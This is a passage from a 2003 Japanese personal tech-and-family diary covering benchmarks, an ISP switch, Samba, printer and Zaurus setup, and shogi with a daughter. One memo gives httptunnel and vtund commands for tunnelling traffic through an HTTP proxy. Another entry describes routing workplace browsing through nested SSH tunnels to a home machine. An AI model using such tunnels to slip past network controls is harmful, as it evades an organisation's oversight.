PautiumIII 800MHz Intel845E,SDR(PC133) 20.6秒 0.89倍 1.25倍

Pautium4 2.0GHz Intel850,RDRAM(PC800) 9.4秒 1.95倍 1.10倍

PautiumIII 650MHz Intel44BX,SDR(PC100) 24.0秒 0.76倍 1.33倍

Celeron 766MHz VIA-ApolloPLE133,SDR(PC100) 69.6秒 0.26倍 0.39倍

X24 1.13GHz Intel830MP SDR(PC133) 18.3秒 1.00倍 1.00倍

R30 1.0GHz ALI-M1632 SDR(PC133) 46.4秒 0.39倍 0.44倍

倍率は単なる実行速度の比率であり、大きい方が速いのです。倍率(正規化)は X24 の CPU クロックで正規化した速度であります。
うーむ、インテルのチップセットですと妥当な値ですが、VIA や ALI はインテルに比べるとメモリーアクセスが弱い感じです。
さすがに DDR や RDRAM は強いですね。いずれにしてもインテル強しというところですか。

2003年1月18日(土)

ねこ森集会リミッテド初日
私は明日なので今日は行けませんが、体調を崩さないように注意して、楽しんできて下さい(^^)。
センター試験
いよいよ今日から長女の受験ツアーなのです。だけど、パパはそんなこととは無関係に遊んでいるのであります(^^;。
モカと将棋を指す
モカと将棋を指しました。なんと一時は負けそうになってしまいました(^^;。
- あまりにひどい手の場合場合教えてしまう。
- まったを許してしまう。
- わたしが角で飛車をとられるのを見落として(^^;、しかもそれに気が付いて教えてしまった。
- 油断してると、偶然だと思うが、とんでもなくよい手を指す場合がある。
一時は龍二枚と馬に攻められて、負ける筋もあったのですが、そこはごまかして(^^;、何とか勝ち～。ちなみに、わたくし、囲碁は初段位打てると思うのですが、将棋は駒の動かし方を知っているだけであります。

2003年1月17日(金)

やっと発送済み
去年注文したのです。
```
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数量      商品           著者            価格  
-------------------------------------------------
1         結び目のはなし 村上斉著        ￥1,500 
-------------------------------------------------
```
結び目のことは全然詳しくないのですが、普通のひもをループにした場合、「わっかになる」「こんがらがる」等いろいろな結び方が出来るわけです。それを分類するのが結び目の理論であると聞いたことがあります。ひも自体の属性ではなく、通常の 3次元空間への「埋め込み」の性質の研究であると認識しております。言い換えると 3次元空間から「ひも」の部分を取ってしまった部分、すなわち補集合のトポロジーが重要なのだと思います。
このあたりの知識は、本当にちょっと聞いただけの話なので、この本を読んで少し勉強しようと考えているわけです。高校生程度の知識を仮定しているそうで、いわゆる専門書ではないようです。
負け越し
37戦中16勝20敗1未定であります。ずいぶん行ったような気がするけど負け越しなのですね。
4月26日のチケットははたして確保できるのだろうか。これに行けないと禁断症状がかなり厳しそうなの～(^^;。

またまた発送済み

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数量    商品          著者         価格  
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1       いちご実験室  山名沢湖(著) ￥740  
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イベントは同時に発生する傾向にあるのだ(^^;。
明日と明後日は結構忙しいのですが。

2003年1月16日(木)

ねこ森集会リミッテドのカメラ
そういえば写真をとる時間があるのですね。わたしの家のデジカメは、一回シャッターを押すと次に押せるまで非常に時間がかかるので、 EOS Kiss を持っていこうかな。
最近のインターネットアクセス
最近会社にいるときは、基本的に自宅にログインいたしまして、 w3m でブラウジングしているのであります。 ssh による X のフォワーディングを使用すれば画像も表示出来るのですが、さすがに重いので画像は表示していません。ただ、どうしても画像を見たい場合は、プロキシー経由で会社から見にゆく場合もあります。快適にログインできるようにするまで、トンネルを二重に掘ったりしてなかなか大変だったのです(^^;。
しかも私用メールのやりとりは、前に作ったシェルを直すのが面倒なので、二重トンネルの中をまた ssh トンネルが通るという 3重トンネルなのであります。
それで、アクセスログを取っていらっしゃる方には、まるで自宅からアクセスしている様に見えるはずでして、「この人もう会社やめちゃったの～^^;」と思われているかも知れませんが、そのようなことはないのであります(^^;。

2003年1月15日(水)

定期
今度の会社は６ヶ月定期を買うと仮定した交通費が支給されるのです。そこで６ヶ月定期を買ったところなんと 103,950円。もし落としたらどうしよう(^^;。
小田急線で藤沢から登戸。JR で登戸から府中本町だったりします。
そのほかバス代が月に ~~6,000円~~ 7000円位かかるのです(^^;。
お相撲
貴乃花また休場ですか。一昨日腹を上にして倒されるという醜態を演じて、それでもお情けで取り直しにしてもらってやっと勝ったのに。横綱審議委員長が、本当に相撲を愛する人から、スポーツをお金もうけや宣伝の道具としか考えない人に交代してしまったのもよくないのです。

Biglobe VS IIJ

昨日から IIJ に移行したのですが、果たして効果があったのかどうか。体感的には非常にさくさく速くなった気ががするのですが、 IIJ というブランドに惑わされているのかも知れません。
そこで Biglobe と IIJ を戦わせてみました(^^;。

プロバイダー取りに行く場所取りに行くものサイズ速度(10回計測の平均値)

biglobe DTI の某お絵書きページ(自宅・光) 1Mバイト位の PNG 画像 1080478 バイト(1M位) 150.0KB/sec

IIJ DTI の某お絵書きページ(自宅・光) 1Mバイト位の PNG 画像 1080478 バイト(1M位) 187.2KB/sec

biglobe DTI の anonymous ftp サーバー pub/FreeBSD/ls-lR.gz 6411646 バイト(6.4M位) 189.8KB/sec

IIJ DTI の anonymous ftp サーバー pub/FreeBSD/ls-lR.gz 6411646 バイト(6.4M位) 196.1KB/sec

biglobe IIJ の anonymous ftp サーバー pub/FreeBSD/ls-lR.gz 6370948 バイト(6.4M位) 180.4KB/sec

IIJ IIJ の anonymous ftp サーバー pub/FreeBSD/ls-lR.gz 6370948 バイト(6.4M位) 193.3KB/sec

うーむ、やはり biglobe が全敗ですか。相手がメジャーな大きいサイトだとあんまり差がありませんが、マイナーな(失礼^^;)サイトだとずいぶん違うものですねぇ。通常の使用では、色々なところから色々なサイズのファイルを転送するので、体感速度が違うのは当然ですね。わたしはメールや WWW 置き場のサービスはいらないので、同じ値段でこれだけ違えば移転したのは正解です。 IIJ と DTI は相性がよくないという話を聞いたことがあるのですが、特に問題はない様であります。

体感的には 1.5 ～ 2 倍位速くなった感じがします。 IIJ の場合、色々なプロバイダーの中心になっているので、相手を選ばず速いのだと思います。

＃IIJ に取りに行く戦いは不公平です(^^;。

2003年1月14日(火)

覚え書き

HTTP プロキシ越えで、見掛け上透過的にパケットを通す方法。

[server]
# /usr/local/sbin/vtund -s    # port 5000 にバインド
$ hts -F localhost:5000 8080  # 8080 ---> 5000 フォワード

[client]
####  8888 をプロキシー経由で evariste.dd.que.ne.jp:8080 に転送
$ htc -F 8888 -P proxyaddr:proxyport evariste.dd.que.ne.jp:8080
# /usr/local/sbin/vtund -P 8888 sessionname localhost # 8888 に接続

ちょっと注文
いちご実験室山名沢湖(著) \740 （単価）
娘が読みたいというのです。←こらこらうそをつくんじゃありません(^^;。
EP-P100に関する質問^^;
その壱

EP-P100には Alt+Ctrl+Del キーはないのか。

その弐

EP-P100は青い画面になることはないのか。

冗談はともかく、最近のデジタル AV 機器の中身は、各種 AD/DA コンバータと最新技術 DSP 内蔵の汎用コンピューターですから、安定させるまではとても大変だと思います。
それにしても電話回線って(^^;。あたしゃ BS-i 自体が双方向の機能を持っているのかと思っていました。家から衛星に上りの打ち上げは出来ないのかな。各家庭からの打ち上げが大変なのは分かるが(^^;。
せめて上りにインターネットも使うとかできないのでしょうか。テレビにインターフェースを(今なら 100/10BaseT かな)をつければ簡単に出来そうですが。かえってコストがかかりますか(^^;。
＃一応ダイアルアップインターネットなのですね(^^;。
＃地上波で双方向が無理だっていうのは分かります(^^;。
家には古くなってちょっと問題はあるのですが、割とよい ONKYO 製のアンプとスピーカーがあるのです。ただ CD を再生出来る機器が PlayStation だけでありまして、これの音たるやパソコンよりも劣るという代物なのです(^^;。またパイオニアの LD プレイヤーもあるのですが、LD は再生できるのですが、 CD はシークできないという状態でいつ壊れても不思議がないのです。もし LD プレイヤーが壊れてしまえばあきらめがついて、その場所にちゃんとした DVD プレイヤーなり録画器機を置けるのです。もちろんお金はないのでありますが(^^;、場所の問題が大きいのであります。
＃LDプレイヤーはいまや~~グレン・グールド~~
＃グレン・グールドとトトロ専用です(^^;。
＃マンション住まいで家族も多いので、なかなかヘッドフォン以外で
＃じっくりと音楽を聴くのが難しいという事情もあります(^^;。
やっと動いた samba
ウォークマンもどき用の mp3 CDROM を作成するのに、既存の FreeBSD 上の mp3 データを Windows マシンに転送する必要があったのです。さすがに DOS 窓の ftp では面倒なので、無線で TCP/IP はつながったけど、実は全然動かなかった(^^; samba の再見直し。
よくよく FreeBSD 側のログをみると、無線 LAN 側でないとだめなのにインターフェースが Ethernet 側になっていました(^^;。 man smb.conf で調べると、
interfaces wi0 192.168.101.184
とか書けば良さそう。実際書いて samba を再起動するとめでたく Windows のネットワークコンピュータに R30 が現れました。それで、起動テストということで R30 をリブートすると wi0 は PCMCIA なので、samba 起動時に認識されずにエラー(^^;。/etc/start_if.wi0 というファイルを作って samba.sh を呼ぶ様にすれば大体良いのですが、これは ifconfig の直前に呼ばれるので、非同期で sleep 10 とかにしてからにするとよいのです。
無線 LAN の速度ではとうてい CD の書き込み速度に追い付かず、一度全部転送する必要があるのが泣きですね。二倍速とかにすればよいのかも知れませんが、それなら全部転送した方が速いし、ぎりぎり倍速だとアンダーランしそうだし、仕方がないですね。

ちなみに無線 LAN のアンテナの前を人が通るたびに調子が悪くなり、 R30 をリブートしないと回復しない(^^;場合があるので、アンテナをぶらさげて高くしました。いつもながらずさんな作業ですな(-_-)。~~さつき~~サツキとメイがトトロにぶら下がっているジグゾーも斜めになっちゃたし。右側の青い線は ADSL モデムと NetBSD/sh4 を結んでいるクロスケーブルであります。
無線 LAN が調子悪くなった後回復不可能になるのは、メルコのせいではなく、 FreeBSD のドライバーに問題があると思われます。なんとかならんかなとは思いますが、こればっかりは文句をつけようがないですね(^^;。
＃良く考えると、インターフェースの記述がないのが悪いのではなく、
＃単に nmbd が起動するときに wi0 が見えないのが悪かったのでしょうね。

2003年1月13日(月)

さよなら biglobe
今朝 biglobe を解約しちゃいました(^^;。
実は IIJmio に DSL/DF サービスという月額 1,400円でネットワーク層のみのサービスがあるのです。メールや WWW 置き場のサービスはありません。接続のみのサービスです。変更した理由は次の通りです。
- 夜明けで意識が朦朧としていた(^^;。
- 前から妥当な価格で接続のみのサービスがあればよいと思っていた。これでデータリンク(ADSL,NTT)、ネットワーク(IIJ)、サーバー(inetd)を完全に分離できる。
- 現行より月額 300円節約できる。Biglobe の場合は ADSL 接続を契約すると AirH" 接続が無料なので、実際は似たようなものなのですが。
- Biglobe のメールは全く使っていない。WWW スペースを使用しているが、 CGI やファイル転送等で融通がきかないので廃止したかった。
- Biglobe のトップページの趣味が嫌い(^^;。
- ネットワーク技術に関して biglobe より IIJ の方が信頼できると考えている。
- なんとなく IIJ の方が biglobe よりかっこいい(^^;。
というわけで、突然のことで申し訳けないのですが biglobe のページは今月一杯で使用不可能となります。 Biglobe の方にリンクを張って下さっている方は、まことにお手数ですが、

トップページは http://evariste.que.ne.jp/kagami/index.html
最新の日記は http://evariste.que.ne.jp/kagami/diary/0000/newdiary.html

に変更をお願い致します。
これで完全にサーバー、メールの中継、動的 DNS サービス全部をアイネットディーに依存することになるので、ここがつぶれると非常に面倒なことになります(^^;。
ただこの会社の姿勢から感じるのは、無責任な夜逃げの様な契約打ち切りは行わないだろうということです。一応ミラーは自宅でして http://evariste.dd.que.ne.jp/~kagami/ となっております。ただし前にも書きましたが実験等で動いていない場合もあります。
＃解約するまで、アンケートに答えなければいけなかったり、
＃「こんなサービスもありますが本当に解約しますか」ってゆーメニューが
＃何回も出てきて本当にしつこかったのであります(-_-)。
昨日のつっこみ^^
思ったより反響を呼んでいますねえ(^^;。
わたしの様に 20年以上コンピューターとつきあっている人間は、筐体を CPU と呼ぶのにあんまり抵抗がないのです。
だけど、比較的最近の方で、特に自作派の人は抵抗があるでしょうね。なんといっても CPU と筐体を別々に買いますから(^^)。
そもそもコンピュータ 5大装置って CPU、memory、入力、出力ともう一つなんなのですか。ディスクのことだとは思うのですが、これも入出力だし(^^;。
そっか、演算装置と制御装置を合わせたのが CPU なんですか。そう言われてみると聞いたことがあるかも知れませんが、すっかり忘れていました(^^;。
また散財
通勤時間が長くて、家ではあまり音楽を聴く余裕がないことが分かったので、mp3 も再生可能なウォークマンもどき(コピーをゼロックスと呼ぶがごとく、単にウォークマンと書くと怒られそうなので^^)を購入。お店で一番安いのということで、 Panasonic SL-CT700-Sというのにしました。価格は 11,700円。一回充電すると 15時間以上もつのですね。予備に単３アルカリ電池２本もっていれば 80時間以上。ずいぶん進化したものです。音質も昔のに比べるとはるかによいし。これは DSP 技術の進歩ですね。
てゆーか、R30 よりはるかに音がいいですね(^^;。
慣れちゃったとはいえ、すごく悪い音で聴いていたのね(^^;。 R30 は 5年くらい前に買ったウォークマンもどきと同じくらいの音質だったのです。携帯プレイヤーや mp3 の音なんてこんなもんだと思っていたら 5年でとっても進歩したのですね(^^;。
前にも書きましたが、家にはまともな再生装置がないので、これはとってもよいです。 CD 一枚に 256Kbit レートで mp3 化したアルバムが 5枚から 6枚入るので、所有全アルバムを持ち歩くのも可能でしょう。所有といっても谷山さんのだけです。ピアノ関連の CD は 100枚以上ありますから。とにかく、買って正解(^^)。
＃それにしても、256Kbit mp3 ってこんなによい音だったのですね(^^;。
＃だけど、R30 でも 128Kbit との違いはわかったぞ。
＃子供が独立して、場所とお金に余裕ができたら、
＃まともなオーディオ装置が欲しいな。いつのことになるやら(^^;。

2003年1月12日(日)

ねこ森集会 Ltd
はやいもので、あと一週間ですね。
モカ将棋
モカの学校に将棋せっとが置いてあって、うちでもやってみたいということ。プラスチックの 100円(^^)将棋せっとを買ってあげたら、さっそく二女と指しはじめました。うーん素晴らしい才能だ。天才かも(^^;。
- 飛車と角が左右から三番目(^^;のますに置いてある。
- 駒の動きでもめると、その場の談合で決定する(^^;。
- 角が王様にあたっているのに、お互いに気が付かない。
- 王様みずから歩の前に突入して負けてしまう(^^)。
ってな感じで、口出ししないで見ているのはなかなか忍耐力がいるのであります(^^;。
ちなみに、将棋盤や碁盤の足は「口だし無用」ということで、「くちなしの花」を形どっているのであります。また碁盤の裏の真ん中の穴は「血溜め」と言いまして、もし口出しをするやからがいた場合、おもむろに碁盤をひっくり返し、かえす刀で口だし男の首をちょん切りその首を乗せるためにあるそうな。
＃本当は音響効果のためらしいです。
IBM の大型コンピューター
実は、昔 IBM の大型コンピューター(メインフレーム)とちょっとかかわったことがあるのですが、とにかくおっきいのです。
- 空調の効いた大きい部屋に「物置き^^」が４つ位並んでいる。本当に「物置き」なのであり、ちゃんとジャバラの扉がついている。扉を開けるとたくさんの機械が入っている。
- 物置きの上には 50cmx30cm 位のプラスチックの看板がぶら下がっていて、「中央制御装置」、「ディスク装置」、「通信制御装置」等の文字が書いてある。
- 「制御装置」には専用の配管がしてあって、その中を大量の水が通っている。要するに水冷ですな。「中央制御装置」のことを「CPU」と呼んだりする。
- 価格は 20億円(^^)/。性能は少なくとも中央制御装置、即ち CPU の性能だけみれば 486/66MHz 位(^^;。月のリースが4000万でそれに耐えられないでつぶれちゃった会社があったりします。これから PC の時代ってころにこんなのを買って「時間貸し商売」をしようとしたのだからそりゃつぶれるよな～(^^;。
  しかし 150人の会社で、月 4000万ってゆーと、一人 30万近く余分に稼げってことですか。そんなのどう考えても無理だということが分からなかったのですかねえ(^^;。
- この性能の CPU に場合よっては 100台以上の端末がぶらさがる。しかもその環境で「バッチ処理」が行われたりする。とにかく遅いのです(^^)。
- IBM 保守員が常駐している。めったに起きないのですが、トラブルが発生すると必ず原因が分かる。これはよいところです。この取り柄がなければだれも使わないでしょう。
私は好きになれないのですが、障害が発生しにくいとか、処理時間の見積もりがしやすい(融通が効かないからです)とか、銀行屋さん的なメリットは確かにあるのです。それにしても巨大で高いですな(^^)。
そういうわけで中央制御装置が入っている「物置き」イコール CPU だったので、私自身は筐体を CPU と呼ぶのはあんまり違和感がないのでありますが、なにかカンチがいしてますか(^^)。←やっぱりカンチがい(^^;。
＃いまいち写真がよく見えないので見当違いかも～(^^;。
＃ちなみに CPU はワンチップではなく、複数のボードからなる
＃バイポーラ素子の集合体でありました。
＃最初のアップで書いた「制御装置」はたしか「中央制御装置」の間違い(^^;。

2003年1月11日(土)

IBM から電話
10時50分頃突然 IBM から電話がありまして、前回の CDROM の修理の満足度調査だそうです。約束の日に引き取りに来てくれないのは困るということだけは言いました。あと、いろいろあったことは、担当の人も気の毒なのであんまりは言わず。一般に「IBM さまの保守サービスには満足しています」と答えました。やっぱり、引き取りに来た宅急便の伝票に「日時と物件を間違えている」とか書いたので IBM の中でも問題になったのかなぁ。
＃一瞬修理代を請求されるのかとびびってしまった(^^;
谷山浩子さんを聴く
昨日帰ってきてやっと聴くゆとりが出来ました。久しぶりだと特によいですね(^^)。ところで漂流楽団の中で好きな曲、
```
  真昼の光は嘘をつく
  子守歌
  楽園のリンゴ売り
  ふたり
  七角錐の少女
```
の共通点に気が付きました。全部アレンジが AQ 氏なのです。前にも書いたかも知れませんが、AQ 氏の知性と感性が浩子さんを助けている部分は非常に大きいと思う。頭がよいから音楽ができるとは限らないが、私の知る限り例外なく音楽が出来る人は頭がよいです。
絵が上手な人も頭がよかったりします(^^)。

Zaurus SL-C700 に telnet

SL-C700 は Linux なので telnetd を有効にすれば AirH" 経由で telnet ログインが可能です。telnet の手順は次の通り。

SL-C700 からダイアルアップして、グローバルアドレスを得る。
SL-C700 のとっても使いにくい kterm を起動して ifconfig でアドレスを調べる。
kterm 上で (例えば)evariste.dd.que.ne.jp に ping を飛ばして、 AirH" が休止状態になりにくくする。
適当な端末から telnet で入る。

実は USB 経由で Linux/i386 と PPP 的に接続することも可能だそうです。 NFS のクライアントにもなれました。もちろんそれなりの制限はあるのですが、基本的には「普通の」Linux です。例えば ps の出力は、

zaurus# ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        S      0:22 init
    2 ?        SW     0:00 [keventd]
    3 ?        RWN  1452:24 [kapm-idled]
    4 ?        DW     0:00 [off_thread]
    5 ?        DW     0:02 [battchrgon]
    6 ?        DW     0:01 [battchrgoff]
    7 ?        SW     0:15 [sharpsl_bat]
    8 ?        SWN    0:00 [ksoftirqd_CPU0]
    9 ?        SW     0:20 [kswapd]
   10 ?        SW     0:00 [bdflush]
   11 ?        SW     0:04 [kupdated]
   12 ?        DW     0:56 [buzzer]
   13 ?        DW     0:00 [snd_hp]
   15 ?        SW     0:00 [mtdblockd]
   43 ?        SWN    0:39 [jffs2_gcd_mtd3]
   97 ?        S      0:00 /sbin/sdmgr
  134 ?        S      0:01 /sbin/cardmgr
  164 ?        S      0:00 /usr/sbin/inetd
  174 ?        S      0:00 /usr/sbin/rpc.portmap
  184 ?        S      0:00 /home/QtPalmtop/bin/atd /var/spool/at
  214 ?        S      0:00 /sbin/launch
  215 ?        S      0:03 /sbin/shsync
  216 ?        S      0:00 /bin/sh ./qpe.sh
  237 ?        SN   202:53 qpe -owner zaurus.qpe
  238 ?        SN     0:00 qeserver zaurus qpe
  241 ?        SN     0:12 qeserver zaurus qpe
  267 ?        SN     0:00 qtmail -qcop /tmp/qcop-msg-qtmail -display Transform
  268 ?        SN     0:18 qeserver zaurus qpe
  269 ?        SN     2:08 launcher -qcop /tmp/qcop-msg-launcher -display Trans
  961 ?        SN     0:00 qpe -owner zaurus.qpe
 2124 ?        SN     0:00 textedit -qcop /tmp/qcop-msg-textedit -display Trans
 2125 ?        SN     0:25 qeserver zaurus qpe
 2226 ?        SN     0:00 sh
 2253 ?        SN     0:00 sh
 3584 ?        SN     2:33 embeddedkonsole -qcop /tmp/qcop-msg-embeddedkonsole 
 3589 ttya4    SN     0:00 /bin/bash
 3608 ?        S      0:00 telnetd: FLA1Abh021.kng.mesh.ad.jp [kterm]
 3609 ttya1    S      0:00 -sh
 3610 ttya1    S      0:00 bash
 3611 ttya1    S      0:00 sh
 3612 ttya1    S      0:00 bash
 3732 ?        SN     0:00 /sbin/syslogd
 3733 ?        SN     0:00 /usr/sbin/pppd ttyS3 debug call DIALUP1041952149 pas
 3748 ttya4    SN     0:00 ping evariste.dd.que.ne.jp
 3749 ?        S      0:00 telnetd: FLA1Abh021.kng.mesh.ad.jp [kterm]
 3750 ttya3    S      0:00 -sh
 3751 ttya3    S      0:00 sh
 3752 ttya3    S      0:00 bash
 3762 ttya3    R      0:00 ps ax

ls -l / は

zaurus# ls -l /
drwxr-sr-x    2 root     root            0 May 20  2002 bin
drwxr-xr-x    2 root     root            0 Dec  7 12:09 boot
drwxr-xr-x    5 root     root         7776 Jan  9 15:17 dev
lrwxrwxrwx    1 root     root            9 Dec  7 12:09 etc -> /home/etc
drwxr-xr-x   13 root     root            0 Jan  8 11:53 home
drwxr-xr-x    3 root     root            0 Dec  7 12:10 lib
lrwxrwxrwx    1 root     root            8 Dec  7 12:09 mnt -> /var/mnt
drwxr-xr-x    2 root     root            0 Dec  7 12:10 opt
dr-xr-xr-x   61 root     root            0 Jan  1  1970 proc
drwxr-xr-x    5 root     root            0 Dec  7 12:12 root
drwxr-xr-x    2 root     root            0 Dec  7 12:10 sbin
lrwxrwxrwx    1 root     root           12 Dec  7 12:09 tmp -> /dev/shm/tmp
drwxr-sr-x   10 root     root            0 Dec  7 12:10 usr
lrwxrwxrwx    1 root     root           16 Dec  7 12:11 var -> /home/system/var

という感じです。Linux/i386 上に(無料の)クロス開発環境があって、自由にソフトウエア(場合によっては新規 kernel)を作成して実行可能です。

欲しい(^^;。奧さまに交渉したらもちろんだめだそうです(^^)。

(おまけ)

zaurus# df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/root                25600     24632       968  96% /
/dev/ram1                   44        28        16  64% /dev
/dev/mtdblock3           32768      7228     25540  22% /home
none                      1024      1024         0 100% /dev/shm

2003年1月10日(金)

全然聴いてない谷山浩子さん
そう言えば、今週は一度も谷山浩子さんの曲を聴いていなかったりします(^^;。こんなことは、この 11ヵ月で初めてですなぁ。
家に帰って食事とお風呂だけで撃沈する生活が続いてますから。それでも少しペースをつかめてきたかも知れません。一応平日一日のスケデュール目標。

時刻やること

5時30分起床

6時30分家を出る

8時30分会社に着く

19時30分会社を出る

21時30分家に着く

23時30分ねる

実は月曜日・火曜日なんて疲れちゃって、「こんな状態で大丈夫か^^;」と思っていたのですが、水曜日あたりから体が慣れてきました。きっと５年(^^;はもつであろう。
明日から絶妙の３連休です(^^)。
＃電車の中で音楽を聴く装置が欲しかったりもします。←こらこら散財はいかん(=_=)。
MC
奧さまから、MC が届いたというメールが来ました。昨日来なかったから、もしかして見捨てられたかと思っていました(^^;。
＃わたしも曲目チェーック(^^)。
＃重大なまちがいって(^^;。こっ、これは～(^^)/。
そりゃそーと、久しぶりに biglobe の方に行ったら更新中止(^^;。

2003年1月9日(木)

「歌暦　VOL4　卯月」～谷山浩子と「みんなのうた」～
ぜひ聴きにゆきたいのです。FC 優先予約はできるのでしょうか。 ←なんとなくできなそうですね。
谷山浩子さんのページ更新。久しぶりの更新だったりします(^^;。
やけにキャパがなさそうな場所ですね(^^;。大丈夫なのだろうか。
ちなみに昨日は２３時半に寝て今朝は５時半起床だったのです。
覚え書き
w3m-img で画像の ON/OFF をトグルする方法。
~/.w3m/keymap に例えば次のエントリを追加する。

keymap T SET_OPTION display_image=toggle

いつものことながら、教えて頂いてありがとうございます(^^)。
それにしても、あっちこっち聞き回って、この日記を書いている人は本当にプロなのだろうか(^^;。
続・Zaurus SL-C700
昨日持ち帰って、帰りの電車の中と今朝の出勤の時に使ってみました。使ったのは WWW ブラウザと kterm(^^;。簡単な感想ですが、
- 電車に乗っている時間が長いので、暇つぶしにはなかなかよい。
- 字がとっても小さくて辛い。フォントを大きくする方法があるのかは不明。画面自体はとっても綺麗。←おっきくできるようです。
- AirH" は電波状態が悪いと頻繁に切れる。 X24 で使っているときは「通信は出来なくてもつながってはいる」という状態になることが多かったのですが、ザウルスの場合「本当に」切れてしまうことが多いような気がする。
- 手書き認識文字入力で、某(^^;掲示板に書き込みましたが、非常に時間がかかった。短文だったのですが、それでも 30分位かかってしまいました。慣れれば速くなるのかも知れませんが、現行ではケータイ入力よりも時間がかかってしまいます。
- なぜか某アンテナから無料の日記と無料の掲示板系へのリンクは、ほとんどファイルなしで壊滅。原因は不明。アンテナ経由で人様の日記を見ることが多いのでとっても困るのです。
- 電池は昨日の帰り 1時間30分位、今日の行き 40分位使ったところで警告モードになりました。
- kterm は Ctrl 系の入力方法が分からなくて、とっても使いにくかった(^^;。
- 使い終わってすぐに X24 を使用すると、X24 の画面が巨大に見える(^^;。
慣れていないから使いにくい面が多いと思うのですが、さすがに字が小さいのだけは困りますね。個人的にはもう少し大きめの画面が欲しいところです。例のごとくドキュメントも読まずに使ったので、見当違いとかある可能性大です。
＃もうちょっと字が大きくて、２万円以下で、
＃電車の中で WWW ブラウジングが気軽にできるマシンなら、
＃買ってしまうかも～(^^;。←こらこら散財はいかん(=_=)。
telnet で入れたりします。

2003年1月8日(水)

続続・時差ぼけ
こればっか(^^;。
昨日は２２時に帰宅して２３時には沈没。今日は４時半起床。
北海道の方より早いかも。いやいや油断はできません(^^)。
＃今日は朝風呂。
デジタル放送とコピー
テレビとかもだんだんデジタル化される様で、今持っているアナログ TV もいずれ買い換える必要がありそうです。それにしては、私を含めてあんまり歓迎している人が多い感じがしません。
デジタル技術の最大の利点であると考えられる、「そのままコピーして保存できる」という点が制限されているからだと思います。
人間ぜいたくなもので、アナログ TV の場合 NTSC 出力を S-VHS 位の媒体にコピーしておけば良いと思っていたものが、デジタルの場合、やはりそれなりの品位で録画・保存したいと考える人が多いと思います。
保存に関して言えば、例えば「一世代だけ録画できます」などというのは問題にならない位不完全なわけで、該当の媒体が破損したり、媒体自体は残っていても、流行遅れや時代遅れで再生機器の入手が困難になってしまった場合対応が不可能です。
現代の技術で一般の人が満足できるコピーとは、コンピューターの補助記憶装置に、 セマンティクスを明確にした形式で保存できることであると考えます。
個人的には、ライブや放送での音楽の演奏等は、一回限りという緊張感で楽しむのが好きでありまして、それを再度聴きたいとはあまり思わないのですが、貴重な映像を長期間保存して、必要なときに再生したいと考える方も多いと思います。
その様に考えられている方にとって、コピーが自由に出来ないデジタル技術などは価値が大幅に減少するものではないかと思います。
そもそも、著作権侵害の防止とコピー制限が混同されているのが最大の問題だと思いますし、著作権等の拡大解釈もはなはだよろしくないと思うのですが、百歩譲って、自由なコピーは著作権侵害を誘発するのでよろしくないとしましょう。
その場合、特に貴重な映像・音楽などの元所有者 (例えば放送局やレコード会社)に著作物の保存と適切な対価に対する公開の義務が非常に長期間に渡って生ずると思うのですが、あまり真面目に考えているとは思えないし、仮にちゃんと考えていても、企業には通常そんなには長くない寿命があります。
そういう意味で、個人の自由なコピーを制限するのは、文化を長期的に保存するということに関しても非常にまずいことだと考えています。せっかくのデジタル化なので、上手に使えば、草の根的な文化の保存が出来るはずだったと思うのですが。現行では保存という見地でのデジタル化の利点はありませんね。
＃ライブ等をもう一度聴きたくなることが絶対にないわけではありません(^^;。
＃きっともう一度聴きたくなるのです。
＃ただ聴けることが事前に「分かっている」と非常にまずいのです。
本当は激速 w3m
普段から w3m/Emacs をよく使用しておりましたが、テキストブラウザにしてはちょっと重いかな～なんて思っていたのです。ところが、今朝偶然(^^;とある日記を拝見いたしましたところ、 w3m は激速であるというご評価。ためしに Emacs 上ではなく kterm 上で動作させたら本当に激速(^^)。Emacs-lisp レベルでの処理が重かったのですね。
vi/Emacs 両方の基本コマンドを使えるのもよいです。
＃w3m-img/kterm で動的に画像を ON/OFF する方法が分からないの～(^^;。
＃更新履歴のページってまだ生きていたのね(^^)。
＃このページも更新履歴だけど、更新するものがほとんどなかったりします(^^;。

覚え書き

会社の Canon LASER SHOT LBP450 プリンタの設定。

/etc/printcap
--------------------------------------------------------------------------
lp|Canon LASER SHOT LBP450:\
       :sh:\
       :rm=192.168.110.230:sd=/var/spool/output/lpd:lf=/var/log/lpd-errs:\
       :mx#0:\
       :if=/usr/home/kagami/bin/lips4.filter:
--------------------------------------------------------------------------

/usr/home/kagami/bin/lips4.filter
-----------------------------------------------------------
#!/bin/sh

/usr/local/bin/gs -q -dBATCH -dNOPAUSE -sDEVICE=lips4 \
                  -sPAPERSIZE=a4 -sOutputFile=- -
-----------------------------------------------------------

＃虎が印刷できました(^^;。
＃ちなみに、最初のアップでは間違えていたのですが、
＃mx は「数値属性」なので mx=0 ではなく mx#0 なのでした。

2003年1月7日(火)

続・時差ぼけ
昨日は２１時に帰宅して２２時には沈没。今日は５時起床。すこしまともになってきたかな(^^;。
最近ちょっとコンピュータねたが多すぎますね。そうはいっても、谷山浩子さんの話とか、数学の話もそんなに思いつきませんし、まあ、周期があるということで。
＃言葉がだぶっていて良くない件は本人も気が付いていました(^^;。
Zaurus SL-C700
Linux Zaurus だそうです。
会社の開発部においてあったので、ちょっといじってみました。 VGA 相当の画面で Linux 上の X ではない 描画エンジン上で qt が動作しているそうです。ノート PC の AirH" を差して ppp の設定をしたら、簡単にインターネットにつながりました。 NetFront v3.0 というブラウザが付属していて、ちっちゃいですけどなかなか綺麗な画面ですね。こーゆーのをいじっていると、すぐに欲しくなってしまうのが困ったところです(^^)。
いやいや、今年はあんまり散財はしないのです(^^;。

2003年1月6日(月)

時差ぼけ
なんと４時に目が覚めてしまった。しばらく時差ぼけに苦しみそうですな。とにかく、本日より社会復帰なのであります。
初日から遅刻ではみっともないので、朝６時２０分に家を出たら、到着したのが８時１５分(^^;。そーかといって、７時に家を出れば間に合うわけでないのがつらいところ。
ところで昨日は初めて DNS の設定に挑戦。私は sendmail と DNS 関連の設定が全く分からないのであります。サンプルやマニュアルを見ながら ZONE ファイルとか REV ファイルとかわけも分からず設定したが...やっぱり動かない～(^^;。そういや、昔、一度挑戦して敗れた記憶が。やはり理屈が分かっていないと無理の様であります(^^;。
ただ、出来ないから文句をいうが(^^;、sendmail や DNS の設定って、やっぱり異常だと思う。そして、これ以上の悲劇が IPsec におとずれるのだ。
この設定の難しさは、なんとゆーか、一つの概念が一つの言葉に集約されていないのが原因かと思うのですが。単なる勉強不足なのかな。
会社のパソコン購入
